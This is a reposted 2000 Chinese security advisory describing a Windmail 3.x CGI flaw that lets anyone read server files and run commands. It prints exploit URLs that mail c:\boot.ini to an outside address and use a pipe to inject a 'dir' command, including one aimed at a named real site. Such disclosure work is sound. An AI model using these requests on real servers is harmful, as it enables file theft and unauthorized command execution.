发信人: aben()
整理人: (2000-07-07 10:00:24), 站内信件
|
Windmail的CGI漏洞 (APP,缺陷)
---------------------------------------------------------------------- ----------
涉及程序:
Windmail 3.x by http://www.geocel.com/
描述
CNNS安全公告2000-05/Windmail允许用户以web身份执行任何指令和读取任何文件
详细
WindMail是一个32位的windows应用程序,允许用户用命令行形式发送邮件
这个软件是geocel开发的,试用版本可以在http://www.geocel.com/download/w mail301e.exe下载
Windmail提供了通过CGI接口发送邮件的功能,也支持HTML的mail发送表单。最近 发现很多server(国内用得也较多)的cgi-bin目录下有windmail.exe这个程序,本 站安全技术人员PP对该程序进行了分析,结果发现,该CGI程序允许任何人读取本 地硬盘上的文件,还允许用户以web user身份执行任何指令:
http://www.xxx.com/cgi-bin/WINDMAIL.EXE?%20-n%20c:\boot.ini%20yourmail @mail.com%20|%20dir%20c:\
这个请求将使windmail.exe将c:\boot.ini发送给[email protected],然后执行 "dir c:\" 的指令
举一国外网站为证:
http://www.metro.net/cgi-bin/windmail.exe?-n%20c:\boot.ini%20chinahack @163.net
这将把c:\boot.ini发送到[email protected]
同时Windmail.exe对命令参数也缺乏检查机制,允许跟随特殊字符如管道符,其 后面允许跟随要执行的指令串。
该漏洞在windmail 3.05下测试通过
解决方案
我们已经提醒了供应商http://www.geocel.com/,但对方没有做出反应。
建议在不要把 windmail.exe 放在web(可执行)目录下
附加信息
CNNS安全公告2000-05/CNNS.net版权所有
-- Email: [email protected]
http://www.cnns.net
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.191.72]
|
|